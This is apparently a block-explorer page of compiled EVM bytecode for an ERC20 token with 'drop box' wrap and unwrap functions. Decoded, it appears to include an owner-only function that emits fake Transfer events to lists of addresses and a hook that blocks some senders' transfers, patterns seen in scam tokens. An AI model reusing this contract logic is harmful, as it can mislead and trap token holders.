08185856200154c565b600191505092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac39062002611565b60405180910390fd5b60405162000ada9062001d49565b604051809103906000f08015801562000af7573d6000803e3d6000fd5b50600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f2c601b1355d1a6cd1373df5a1e2460c77aedfbb5c16c66b47bb96b35462808e260405160405180910390a2565b62000bc462001886565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8062000d62336200074d565b101562000da6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d9d9062002683565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040162000e05929190620026a5565b600060405180830381600087803b15801562000e2057600080fd5b505af115801562000e35573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16817f1d27d1c62712f590d53fa9eb8bbf3a75d09503deae319bb9d99644339cb312e160405160405180910390a350565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141562000f57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f4e9062002748565b60405180910390fd5b81600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040162000fb5919062002357565b602060405180830381600087803b15801562000fd057600080fd5b505af115801562000fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200100b919062002781565b10156200104f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620010469062002803565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16638d3c100a83600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620010ae92919062002890565b600060405180830381600087803b158015620010c957600080fd5b505af1158015620010de573d6000803e3d6000fd5b50505050600160056000620010f262001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000620011cc62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16827f9c307a39a47fdf1a019642a4e8a585ffe9894b5018226029887fe6d4241611bb60405160405180910390a35050565b6200125c62001886565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620012cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620012c69062002933565b60405180910390fd5b620012da8162001af1565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562001358576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200134f90620029cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620013cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620013c29062002a63565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051620014ab919062001f65565b60405180910390a3505050565b6000620014c6848462000ccf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811462001546578181101562001536576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200152d9062002ad5565b60405180910390fd5b620015458484848403620012e5565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415620015bf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620015b69062002b6d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141562001632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620016299062002c05565b60405180910390fd5b6200163f83838362001bcb565b600560006200164d62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615620016e457620016e38362001bd0565b5b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156200176e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620017659062002c9d565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620018059190620024cc565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516200186b919062001f65565b60405180910390a36200188084848462001c9e565b50505050565b62001890620012dd565b73ffffffffffffffffffffffffffffffffffffffff16620018b062001bb5565b73ffffffffffffffffffffffffffffffffffffffff161462001909576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019009062002d0f565b60405180910390fd5b565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200197e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019759062002da7565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101562001a08576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620019ff9062002e3f565b60405180910390fd5b81600d5462001a18919062002e61565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816007600082825462001a6f919062002e61565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405162001ad6919062001f65565b60405180910390a362001aec8360008462001c9e565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008062001bc262001ca3565b90508091505090565b505050565b60006004600062001be062001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541162001c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162001c929062002f12565b60405180910390fd5b50565b505050565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462001d205760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1662001d44565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b61082f8062002f3583390190565b600081519050919050565b600082825260208201905092915050565b60005b8381101562001d9357808201518184015260208101905062001d76565b8381111562001da3576000848401525b50505050565b6000601f19601f8301169050919050565b600062001dc78262001d57565b62001dd3818562001d62565b935062001de581856020860162001d73565b62001df08162001da9565b840191505092915050565b6000602082019050818103600083015262001e17818462001dba565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062001e608262001e33565b9050919050565b62001e728162001e53565b811462001e7e57600080fd5b50565b60008135905062001e928162001e67565b92915050565b6000819050919050565b62001ead8162001e98565b811462001eb957600080fd5b50565b60008135905062001ecd8162001ea2565b92915050565b6000806040838503121562001eed5762001eec62001e29565b5b600062001efd8582860162001e81565b925050602062001f108582860162001ebc565b9150509250929050565b60008115159050919050565b62001f318162001f1a565b82525050565b600060208201905062001f4e600083018462001f26565b92915050565b62001f5f8162001e98565b82525050565b600060208201905062001f7c600083018462001f54565b92915050565b60008060006060848603121562001f9e5762001f9d62001e29565b5b600062001fae8682870162001e81565b935050602062001fc18682870162001e81565b925050604062001fd48682870162001ebc565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f84011262002006576200200562001fde565b5b8235905067ffffffffffffffff81111562002026576200202562001fe3565b5b60208301915083602082028301111562002045576200204462001fe8565b5b9250929050565b60008060006040848603121562002068576200206762001e29565b5b600084013567ffffffffffffffff81111562002089576200208862001e2e565b5b620020978682870162001fed565b93509350506020620020ac8682870162001ebc565b9150509250925092565b600060ff82169050919050565b620020ce81620020b6565b82525050565b6000602082019050620020eb6000830184620020c3565b92915050565b6000602082840312156200210a576200210962001e29565b5b60006200211a8482850162001ebc565b91505092915050565b6000602082840312156200213c576200213b62001e29565b5b60006200214c8482850162001e81565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6200218f8262001da9565b810181811067ffffffffffffffff82111715620021b157620021b062002155565b5b80604052505050565b6000620021c662001e1f565b9050620021d4828262002184565b919050565b600067ffffffffffffffff821115620021f757620021f662002155565b5b602082029050602081019050919050565b60006200221f6200221984620021d9565b620021ba565b9050808382526020820190506020840283018581111562002245576200224462001fe8565b5b835b818110156200227257806200225d888262001e81565b84526020840193505060208101905062002247565b5050509392505050565b600082601f83011262002294576200229362001fde565b5b8135620022a684826020860162002208565b91505092915050565b620022ba8162001f1a565b8114620022c657600080fd5b50565b600081359050620022da81620022af565b92915050565b60008060408385031215620022fa57620022f962001e29565b5b600083013567ffffffffffffffff8111156200231b576200231a62001e2e565b5b62002329858286016200227c565b92505060206200233c85828601620022c9565b9150509250929050565b620023518162001e53565b82525050565b60006020820190506200236e600083018462002346565b92915050565b600080604083850312156200238e576200238d62001e29565b5b60006200239e8582860162001e81565b9250506020620023b18582860162001e81565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200240357607f821691505b602082108114156200241a5762002419620023bb565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006200248b8262001e98565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415620024c157620024c06200244f565b5b600182019050919050565b6000620024d98262001e98565b9150620024e68362001e98565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156200251e576200251d6200244f565b5b828201905092915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006200258760258362001d62565b9150620025948262002529565b604082019050919050565b60006020820190508181036000830152620025ba8162002578565b9050919050565b7f44726f7020626f7820616c7265616479206578697374732e0000000000000000600082015250565b6000620025f960188362001d62565b91506200260682620025c1565b602082019050919050565b600060208201905081810360008301526200262c81620025ea565b9050919050565b7f4e6f7420656e6f75676820436f696e20746f20756e777261702e000000000000600082015250565b60006200266b601a8362001d62565b9150620026788262002633565b602082019050919050565b600060208201905081810360008301526200269e816200265c565b9050919050565b6000604082019050620026bc600083018562002346565b620026cb602083018462001f54565b9392505050565b7f596f75206d7573742063726561746520612064726f7020626f7820666972737460008201527f2e00000000000000000000000000000000000000000000000000000000000000602082015250565b60006200273060218362001d62565b91506200273d82620026d2565b604082019050919050565b60006020820190508181036000830152620027638162002721565b9050919050565b6000815190506200277b8162001ea2565b92915050565b6000602082840312156200279a576200279962001e29565b5b6000620027aa848285016200276a565b91505092915050565b7f4e6f7420656e6f75676820436f696e20696e2064726f7020626f782e00000000600082015250565b6000620027eb601c8362001d62565b9150620027f882620027b3565b602082019050919050565b600060208201905081810360008301526200281e81620027dc565b9050919050565b6000819050919050565b6000620028506200284a620028448462001e33565b62002825565b62001e33565b9050919050565b600062002864826200282f565b9050919050565b6000620028788262002857565b9050919050565b6200288a816200286b565b82525050565b6000604082019050620028a7600083018562001f54565b620028b660208301846200287f565b9392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006200291b60268362001d62565b91506200292882620028bd565b604082019050919050565b600060208201905081810360008301526200294e816200290c565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000620029b360248362001d62565b9150620029c08262002955565b604082019050919050565b60006020820190508181036000830152620029e681620029a4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600062002a4b60228362001d62565b915062002a5882620029ed565b604082019050919050565b6000602082019050818103600083015262002a7e8162002a3c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b600062002abd601d8362001d62565b915062002aca8262002a85565b602082019050919050565b6000602082019050818103600083015262002af08162002aae565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600062002b5560258362001d62565b915062002b628262002af7565b604082019050919050565b6000602082019050818103600083015262002b888162002b46565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600062002bed60238362001d62565b915062002bfa8262002b8f565b604082019050919050565b6000602082019050818103600083015262002c208162002bde565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b600062002c8560268362001d62565b915062002c928262002c27565b604082019050919050565b6000602082019050818103600083015262002cb88162002c76565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600062002cf760208362001d62565b915062002d048262002cbf565b602082019050919050565b6000602082019050818103600083015262002d2a8162002ce8565b9050919050565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062002d8f60218362001d62565b915062002d9c8262002d31565b604082019050919050565b6000602082019050818103600083015262002dc28162002d80565b9050919050565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b600062002e2760228362001d62565b915062002e348262002dc9565b604082019050919050565b6000602082019050818103600083015262002e5a8162002e18565b9050919050565b600062002e6e8262001e98565b915062002e7b8362001e98565b92508282101562002e915762002e906200244f565b5b828203905092915050565b7f4e6f7420656e6f75676820696e2064726f70426f782c20706c6561736520777260008201527f6170206d6f726520636f696e732e000000000000000000000000000000000000602082015250565b600062002efa602e8362001d62565b915062002f078262002e9c565b604082019050919050565b6000602082019050818103600083015262002f2d8162002eeb565b905091905056fe608060405234801561001057600080fd5b503380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061006f61006461007560201b60201c565b61007d60201b60201c565b50610141565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6106df806101506000396000f3fe608060405234801561001057600080fd5b506004361061004c5760003560e01c8063715018a6146100515780638d3c100a1461005b5780638da5cb5b14610077578063f2fde38b14610095575b600080fd5b6100596100b1565b005b6100756004803603810190610070919061049f565b6100c5565b005b61007f610145565b60405161008c91906104ee565b60405180910390f35b6100af60048036038101906100aa9190610535565b61016e565b005b6100b96101f2565b6100c36000610270565b565b6100cd6101f2565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6100f1610145565b846040518363ffffffff1660e01b815260040161010f929190610571565b600060405180830381600087803b15801561012957600080fd5b505af115801561013d573d6000803e3d6000fd5b505050505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6101766101f2565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156101e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016101dd9061061d565b60405180910390fd5b6101ef81610270565b50565b6101fa610334565b73ffffffffffffffffffffffffffffffffffffffff1661021861033c565b73ffffffffffffffffffffffffffffffffffffffff161461026e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161026590610689565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600033905090565b600080610347610350565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103cb5760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff166103ef565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600080fd5b6000819050919050565b61040c816103f9565b811461041757600080fd5b50565b60008135905061042981610403565b92915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061045a8261042f565b9050919050565b600061046c8261044f565b9050919050565b61047c81610461565b811461048757600080fd5b50565b60008135905061049981610473565b92915050565b600080604083850312156104b6576104b56103f4565b5b60006104c48582860161041a565b92505060206104d58582860161048a565b9150509250929050565b6104e88161044f565b82525050565b600060208201905061050360008301846104df565b92915050565b6105128161044f565b811461051d57600080fd5b50565b60008135905061052f81610509565b92915050565b60006020828403121561054b5761054a6103f4565b5b600061055984828501610520565b91505092915050565b61056b816103f9565b82525050565b600060408201905061058660008301856104df565b6105936020830184610562565b9392505050565b600082825260208201905092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061060760268361059a565b9150610612826105ab565b604082019050919050565b60006020820190508181036000830152610636816105fa565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061067360208361059a565b915061067e8261063d565b602082019050919050565b600060208201905081810360008301526106a281610666565b905091905056fea2646970667358221220007bce2cdffee96a17e75fa9da7242f1b2ca1d5f21eb8ecbd82fd1cb6da6980f64736f6c63430008090033a2646970667358221220df989a15fb288bc6cc2097f5e02d771627c6e433df9ca79e72fa4022ceb2464864736f6c63430008090033000000000000000000000000fa7fa9a4904470945dd72043507cf29b2eeee54a

Deployed Bytecode

0x60806040523480156200001157600080fd5b50600436106200016c5760003560e01c80638da5cb5b11620000d5578063d2d55dde1162000087578063d2d55dde14620003f7578063d6d2bb98146200042d578063dd62ed3e1462000463578063de0e9a3e1462000499578063ea598cb014620004b9578063f2fde38b14620004d9576200016c565b80638da5cb5b146200031b57806395d89b41146200033d578063a457c2d7146200035f578063a9059cbb1462000395578063b8bdd4b214620003cb578063c2b7bbb614620003d7576200016c565b8063313ce567116200012f578063313ce567146200024157806339509351146200026357806342966c68146200029957806370a0823114620002b9578063715018a614620002ef57806373fa7ddb14620002fb576200016c565b806306fdde031462000171578063095ea7b3146200019357806318160ddd14620001c957806323b872dd14620001eb57806326ededb81462000221575b600080fd5b6200017b620004f9565b6040516200018a919062001dfb565b60405180910390f35b620001b16004803603810190620001ab919062001ed3565b62000593565b604051620001c0919062001f37565b60405180910390f35b620001d3620005ba565b604051620001e2919062001f65565b60405180910390f35b62000209600480360381019062000203919062001f82565b620005c4565b60405162000218919062001f37565b60405180910390f35b6200023f60048036038101906200023991906200204c565b620005f9565b005b6200024b620006e3565b6040516200025a9190620020d4565b60405180910390f35b6200028160048036038101906200027b919062001ed3565b620006ec565b60405162000290919062001f37565b60405180910390f35b620002b76004803603810190620002b19190620020f1565b6200072b565b005b620002d76004803603810190620002d1919062002123565b6200074d565b604051620002e6919062001f65565b60405180910390f35b620002f962000796565b005b620003196004803603810190620003139190620022e0565b620007ae565b005b6200032562000891565b60405162000334919062002357565b60405180910390f35b62000347620008ba565b60405162000356919062001dfb565b60405180910390f35b6200037d600480360381019062000377919062001ed3565b62000954565b6040516200038c919062001f37565b60405180910390f35b620003b36004803603810190620003ad919062001ed3565b620009d4565b604051620003c2919062001f37565b60405180910390f35b620003d5620009fb565b005b620003f56004803603810190620003ef919062002123565b62000bba565b005b6200041560048036038101906200040f919062002374565b62000c08565b60405162000424919062001f37565b60405180910390f35b6200044b600480360381019062000445919062002123565b62000c9c565b6040516200045a919062002357565b60405180910390f35b6200048160048036038101906200047b919062002374565b62000ccf565b60405162000490919062001f65565b60405180910390f35b620004b76004803603810190620004b19190620020f1565b62000d56565b005b620004d76004803603810190620004d19190620020f1565b62000e80565b005b620004f76004803603810190620004f1919062002123565b62001252565b005b6060600980546200050a90620023ea565b80601f01602080910402602001604051908101604052809291908181526020018280546200053890620023ea565b8015620005895780601f106200055d5761010080835404028352916020019162000589565b820191906000526020600020905b8154815290600101906020018083116200056b57829003601f168201915b5050505050905090565b600080620005a0620012dd565b9050620005af818585620012e5565b600191505092915050565b6000600754905090565b600080620005d1620012dd565b9050620005e0858285620014b8565b620005ed8585856200154c565b60019150509392505050565b6200060362001886565b60005b83839050811015620006dd5783838281811062000628576200062762002420565b5b90506020020160208101906200063f919062002123565b73ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051620006bf919062001f65565b60405180910390a38080620006d4906200247e565b91505062000606565b50505050565b60006009905090565b600080620006f9620012dd565b9050620007208185856200070e858962000ccf565b6200071a9190620024cc565b620012e5565b600191505092915050565b6200073562001886565b6200074a62000743620012dd565b826200190b565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b620007a062001886565b620007ac600062001af1565b565b620007b862001886565b60005b82518110156200088c5781600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008584815181106200081d576200081c62002420565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808062000883906200247e565b915050620007bb565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060088054620008cb90620023ea565b80601f0160208091040260200160405190810160405280929190818152602001828054620008f990620023ea565b80156200094a5780601f106200091e576101008083540402835291602001916200094a565b820191906000526020600020905b8154815290600101906020018083116200092c57829003601f168201915b5050505050905090565b60008062000961620012dd565b9050600062000971828662000ccf565b905083811015620009b9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620009b0906200259f565b60405180910390fd5b620009c88286868403620012e5565b60019250505092915050565b600080620009e1620012dd565b9050620009f08185856200154c565b600191505092915050565b600073ffffffffffffffffffffffffffffffffffffffff16600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161462000acc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000ac39062002611565b60405180910390fd5b60405162000ada9062001d49565b604051809103906000f08015801562000af7573d6000803e3d6000fd5b50600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff167f2c601b1355d1a6cd1373df5a1e2460c77aedfbb5c16c66b47bb96b35462808e260405160405180910390a2565b62000bc462001886565b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b600b6020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b8062000d62336200074d565b101562000da6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000d9d9062002683565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b815260040162000e05929190620026a5565b600060405180830381600087803b15801562000e2057600080fd5b505af115801562000e35573d6000803e3d6000fd5b505050503373ffffffffffffffffffffffffffffffffffffffff16817f1d27d1c62712f590d53fa9eb8bbf3a75d09503deae319bb9d99644339cb312e160405160405180910390a350565b6000600b60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141562000f57576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040162000f4e9062002748565b60405180910390fd5b81600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231836040518263ffffffff1660e01b815260040162000fb5919062002357565b602060405180830381600087803b15801562000fd057600080fd5b505af115801562000fe5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200100b919062002781565b10156200104f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620010469062002803565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16638d3c100a83600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166040518363ffffffff1660e01b8152600401620010ae92919062002890565b600060405180830381600087803b158015620010c957600080fd5b505af1158015620010de573d6000803e3d6000fd5b50505050600160056000620010f262001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555081600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000620011cc62001bb5565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16827f9c307a39a47fdf1a019642a4e8a585ffe9894b5018226029887fe6d4241611bb60405160405180910390a35050565b6200125c62001886565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415620012cf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620012c69062002933565b60405180910390fd5b620012da8162001af1565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141562001358576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200134f90620029cb565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620013cb576040517f08c379a00